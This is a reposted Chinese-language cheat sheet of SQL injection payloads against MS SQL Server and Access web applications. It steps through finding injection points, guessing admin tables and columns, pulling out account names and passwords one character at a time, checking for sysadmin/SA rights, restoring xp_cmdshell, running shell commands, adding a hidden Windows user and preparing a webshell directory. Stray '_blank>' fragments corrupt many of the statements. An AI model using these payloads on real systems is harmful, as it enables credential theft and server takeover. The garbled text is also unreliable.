转sql注入

1.判断有无注入点 


; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 


and 0<>(select count(*) from *) 


and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0<返回正确页面 1<返回错误页面说明帐号数目就是1个 


and 0<(select count(*) from admin) 


and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 


and 1=(select count(*) from admin where len(*)>0)-- 


and 1=(select count(*) from admin where len(用户字段名称name)>0) 


and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 


and 1=(select count(*) from admin where len(*)>0) 


and 1=(select count(*) from admin where len(name)>6) 错误 


and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 


and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确 


and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 


and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符 


and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 


and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 


就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 


and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 


这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1-- 


group by users.id, users.username, users.password, users.privs having 1=1--

看_blank>服务器打的补丁=出错了打了SP4补丁 


and 1=(select @@VERSION)--

看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。 


and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA） 


and sa=(SELECT System_blank>_user)-- 


and user_blank>_name()=dbo-- 


and 0<>(select user_blank>_name()--

看xp_blank>_cmdshell是否删除 


and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_

blank>_cmdshell)--

xp_blank>_cmdshell被删除，恢复,支持绝对路径的恢复 


;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll-- 


;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\

反向PING自己实验 


;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>

_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号 


;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>

_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$Content$nbsp;1866574 /add--

创建一个虚拟目录E盘： 


;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,

run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"--

访问属性：（配合写入一个webshell） 


declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,

run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧：:%5c=\ 或者

您正在看的SQLserver教程是:sql注入语句。把/和\ 修改%5提交 


and 0<>(select top 1 paths from newtable)--

得到库名（从1到5都是系统的id，6以上才可以判断） 


and 1=(select name from master.dbo.sysdatabases where dbid=7)-- 


and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 


依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin 


and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin))

来得到其他的表。 


and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin 


and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id 


and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个

字段,假设为 user_blank>_id 


and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 


(id,...)) 来暴出其他的字段 


and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名 


依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 


and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 


and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) 


and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(s

tr(id))) 判断id值 


and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 


?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)
